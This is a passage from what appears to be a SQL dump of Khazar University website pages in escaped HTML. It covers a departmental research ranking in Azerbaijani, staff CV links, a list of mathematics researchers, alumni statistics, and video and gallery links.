style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Sonra\r\nuniversitetin Keyfiyyətin Təminatı Mərkəzinin direktoru Lyudmila Sotova\r\nreytinqin nəticələri və diqqət yetirilməsi zəruri olan məsələlər haqqında\r\nməlumat verdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qeyd edək\r\nki, 18 akademik departament 8 göstərici üzrə araşdırmaya\r\ncəlb edilmişdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Qiymətləndirməyə əsasən ən yüksək nəticə Riyaziyyat\r\ndepartamentində əldə olunmuşdur.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">Xəzər Universitetinin akademik departamentlərinin elmi\r\nfəaliyyəti üzrə reytinq nəticələri aşağıdakı kimi olmuşdur:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;background:white\"\"=\"\">&nbsp;</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt\"=\"\"><strong>Sıra</strong></p>\r\n  </td>\r\n  <td width=\"358\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt\"=\"\"><strong>Departamentin adı</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Riyaziyyat</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">2</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Bioloji Elmlər</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">3</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Coğrafiya və ətraf mühit</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">4</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Mədəniyyət və dillər</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">5</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt;height:3.2pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Kimya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">6</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Psixologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Neft mühəndisliyi</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Jurnalistika</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">7</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Siyasi elmlər və\r\n  beynəlxalq münasibətlər </p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">8</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Təhsil</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">9</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İqtisadiyyat və menecment</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">10</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İngilis dili və ədəbiyyatı</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">11</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Azərbaycan dili və ədəbiyyatı</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">12</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Hüquq</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">13</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Kompüter elmləri</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">14</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Tarix və arxeologiya</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">15</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">İnşaat mühəndisliyi</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"48\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;text-align:center;text-indent:-1.15pt;vertical-align:bottom\"=\"\">16</p>\r\n  </td>\r\n  <td width=\"358\" style=\"\" width:268.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin:0in;margin-bottom:.0001pt;vertical-align:middle\"=\"\">Elektronika və telekommunikasiya</p>\r\n  </td>\r\n </tr>\r\n</tbody></table>'),(673,464,'en','People','People','<br><br><div><img src=\"http://www.khazar.org/files/demo/Hamlet_Isaxanli.jpg\" style=\"border:0px  #000000;width:150px;height:220px;margin:7px;float:left\"><br></div><div><br></div><a href=\"http://www.khazar.org/files/demo/Hamlet_Isaxanli_CV.doc\">Hamlet&nbsp;Isaxanli</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/M_Nuriyev.jpeg\" style=\"border:0px  #000000;width:150px;height:189px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.doc\">Mahammad&nbsp;Nuriyev</a><a href=\"http://www.khazar.org/files/demo/Mahammad_Nuriyev_CV.doc\">&nbsp;</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_09_eldarshahgaldiyev.jpg\" style=\"border:0px  #000000;width:150px;height:178px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Eldar%20Shahgaldiyev_CV.doc\">Eldar Shahgaldiyev</a>&nbsp;<div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_isx.gif\" style=\"border:0px  #000000;width:150px;height:227px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Isakhan_Isakhanli_CV.doc\">Isakhan&nbsp;Isakhanli</a>&nbsp;<hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><div><img src=\"http://www.khazar.org/files/demo/13_09_18_ruslansadirkhanov.JPG\" style=\"border:0px  #000000;width:150px;height:200px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Ruslan_Sadirkhanov_CV_.doc\">Ruslan&nbsp;Sadirkhanov</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_asifjanahgirov.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Asif_Cahangirov_CV.doc\">Asif&nbsp;Cahangirov</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/14_02_03_beyler.JPG\" style=\"border:0px  #000000;width:150px;height:150px;margin:7px;float:left\"></div><a href=\"http://www.khazar.org/files/demo/Elxan%20Beylerov_Cv.doc\">Elxan Beylerov</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_ls3.gif\" style=\"border:0px  #000000;width:150px;height:176px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Lyudmila_Sotova_CV.doc\">Lyudmila&nbsp;Sotova</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_elzasemedli.jpg\" style=\"border:0px  #000000;width:150px;height:192px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Elza_Samadova_CV.doc\">Elza&nbsp;Samadova</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_FRasulov.JPG\" style=\"border:0px  #000000;width:150px;height:205px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/FuatRasulovCV.docx\">&nbsp;Fuat&nbsp;Rasulov</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_Leyla_Muradkhanli.JPG\" style=\"border:0px  #000000;width:150px;height:151px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Leyla_Muradkhanli_CV.doc\">Leyla&nbsp;Muradkhanli</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_raziya-isayeva.jpg\" style=\"border:0px  #000000;width:150px;height:150px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Raziya_Isayeva_CV.doc\">Raziya&nbsp;Isayeva</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_calvin.gif\" style=\"border:0px  #000000;width:150px;height:180px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Calvin%20Tiessen%20CV.doc\">Calvin Tiessen</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_17_me.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Ulker_Isayeva_CV.doc\">Ulker&nbsp;Isayeva</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_10_melekkerimova.jpg\" style=\"border:0px  #000000;width:150px;height:223px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Melek_Kerimova_CV.pdf\">Melek&nbsp;Kerimova</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"></div><div><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_18_photo_jamala.JPG\" style=\"border:0px  #000000;width:150px;height:202px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Jamala_Mammadova_CV.doc\">&nbsp;Jamala&nbsp;Mammadova</a>&nbsp;<br><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div></div><div><br></div><div><hr noshade=\"noshade\" style=\"width:100%;height:1px;border:0px solid\"><br></div><div><img src=\"http://www.khazar.org/files/demo/13_09_09_Photo_UlviyyaHuseynova.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin:7px;float:left\"><br></div><a href=\"http://www.khazar.org/files/demo/Ulviyya_Huseynova_CV.doc\">Ulviyya&nbsp;Huseynova</a>&nbsp;<br><div><br></div><div><br></div><div><div><br></div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/LamiyaSharafkhanova_CV.doc\">Lamiya&nbsp;Sharafkhanova</a>&nbsp; &nbsp;&nbsp;</div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/Ata_Tezba%C5%9Faran_CV.pdf\">Ata&nbsp;Tezbaşaran</a>&nbsp;</div><div><br></div><div><a href=\"http://www.khazar.org/files/demo/Giray_Berberoglu_CV.doc\">Giray&nbsp;Berberoglu&nbsp;</a></div>'),(674,465,'en','Research','','<div><br></div><div><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">1. Fizika-riyaziyyat elmləri doktoru, professor Hamlet\r\nİsaxanlı --- 300-dən çox&nbsp; çap olunmuş əsərləri\r\nvar: Riyaziyyat, Təhsil, Humanitar və sosial elmləri.&nbsp;\r\nMonoqrafiyalar.Müxtəlif kitabların redaktoru.və sairə, Ümumiyyətlə, Tədqiqat\r\nmövzuları müxtəlifdir;</p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">2. Fizika-riyaziyyat elmləri doktoru, professor Nazim Kərimov --- Diferensial operatorların spektral nəzəriyyəsi;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">3. Riyaziyyat üzrə fəlsəfə doktoru, Əli\r\nHüseynli --- Diferensial operatorların spektral nəzəriyyəsi; qeyri-harmonik\r\nanaliz;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">4. Fizika-riyaziyyat elmləri doktoru,\r\nprofessor İbrahim Nəbiyev --- Diferensial operatorların spektral nəzəriyyəsi;\r\ntərs spektral məsələlər;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">5. Fizika-riyaziyyat elmləri nazmizədi,\r\ndosent Məhəmməd Nurməmmədov --- Diferensial operatorlar; sərhəd məsələləri;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">6. Riyaziyyat üzrə fəlsəfə doktoru, dosent,&nbsp;Tərlan Qarayev--- Funksional fəzalarda bazislik məsələləri; qeyri-harmanik\r\nanaliz;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">7. Fizika-riyaziyyat elmləri namizədi,\r\nElvin Əzizbəyov --- Diferensial tənliklər.</p>\r\n<p>&nbsp;</p>  <br></div>'),(675,466,'en','Alumni','Alumni','<div><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\">248 participants from 13 countries have attended our trainings. Of them, 96 have been NGO representatives, 35 media representatives, 25 from academic institutions, 32 from state agencies, 10 from company and 4 from different structures representatives.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"font-size:medium\">46 students from Azerbaijan participated at Summer school organized by Hub for 2012- 2013</span>.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:\'times new roman\', times, serif;font-size:medium;line-height:15px;text-align:justify;background-color:#ffffff\"><img src=\"/files/demo/14_11_20_alumni1.jpg\" style=\"width:441px;height:249px\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:12px;line-height:15px;text-align:justify;background-color:#ffffff\"><img src=\"/files/demo/14_11_20_alumni2.jpg\" style=\"width:434px;height:270px\"><br></p></div>'),(677,469,'en','Videos','Videos','<div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong><a href=\"https://www.youtube.com/watch?v=j7Y-TGsvGiM&amp;utm_source=RWI+Global+Contacts+%282%2F26%2F2014%29&amp;utm_campaign=8f3ac9698b-November_2014_email_update10_30_2014&amp;utm_medium=email&amp;utm_term=0_81af06e868-8f3ac9698b-346483433\"><span style=\"outline:none\">NEW VIDEO:&nbsp;Extractive Industries Knowledge Hub: Alumni</span>&nbsp;</a></strong></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><strong style=\"outline:none;color:#3a3b3b\"><a href=\"https://www.youtube.com/watch?v=VXKknkNXNvg&amp;utm_source=RWI+Global+Contacts+%282%2F26%2F2014%29&amp;utm_campaign=8f3ac9698b-November_2014_email_update10_30_2014&amp;utm_medium=email&amp;utm_term=0_81af06e868-8f3ac9698b-346483433\">NEW VIDEO:&nbsp;Extractive Industries Knowledge Hub: Eurasia</a><a href=\"http://resourcegovernance.us2.list-manage.com/track/click?u=586ab656ca1263b8776b1f081&amp;id=37d3fe6f6c&amp;e=b50d59bf12\" target=\"_blank\"></a></strong><a href=\"http://resourcegovernance.us2.list-manage.com/track/click?u=586ab656ca1263b8776b1f081&amp;id=37d3fe6f6c&amp;e=b50d59bf12\" target=\"_blank\"></a></p></div>'),(676,468,'en','Catalogues','Catalogues','<img src=\"/files/demo/14_11_25_12_06_22_front_final.jpg\" style=\"border:0px  #000000;width:500px;height:255px;margin-bottom:10px;vertical-align:baseline\"> <div><img src=\"/files/demo/14_11_25_12_06_22_back_final.jpg\" style=\"border:0px  #000000;width:500px;height:255px;margin-bottom:10px;vertical-align:baseline\"><img src=\"/files/demo/14_11_25_booklet1.jpg\" style=\"border:0px  #000000;width:500px;height:500px;margin-bottom:10px;vertical-align:baseline\"><br></div>'),(678,470,'en','Gallery','Gallery','<a href=\"http://www.khazar.org/en/menus/449/value_chain\"><img src=\"/files/demo/14_12_10_VC%2C2013-37.jpg\" style=\"border:0px #0000ee;width:300px;height:200px;margin-right:10px;vertical-align:text-bottom\"></a>&nbsp;<a href=\"http://www.khazar.org/en/menus/450/revenue_management_and_economic_diversification\"><img src=\"/files/demo/14_12_10_RM-2.jpg\" style=\"border:0px #0000ee;width:300px;height:200px;vertical-align:text-bottom\" title=\"Revenue Management and Economic Diversification\" alt=\"Revenue Management and Economic Diversification\"></a> &nbsp; &nbsp;<div>Value&nbsp;Chain &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Revenue Management and Economic Diversification  </div><div><br></div><div><a href=\"http://www.khazar.org/en/menus/452/country_trainings\"><img src=\"http://www.khazar.org/media/14_12_10_CT_(1).JPG\" style=\"border:0px #000000;width:300px;height:200px;vertical-align:baseline;margin-right:10px\"></a>&nbsp;<a href=\"http://www.khazar.org/en/menus/451/summer_school\"><img src=\"http://www.khazar.org/media/14_12_10_SS_(1).JPG\" style=\"border:0px  #000000;width:300px;height:200px;margin-right:10px;vertical-align:baseline\"></a><br></div><div>Country Trainings&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Summer School</div><div><a href=\"http://www.khazar.org/en/menus/448/tot\"><img 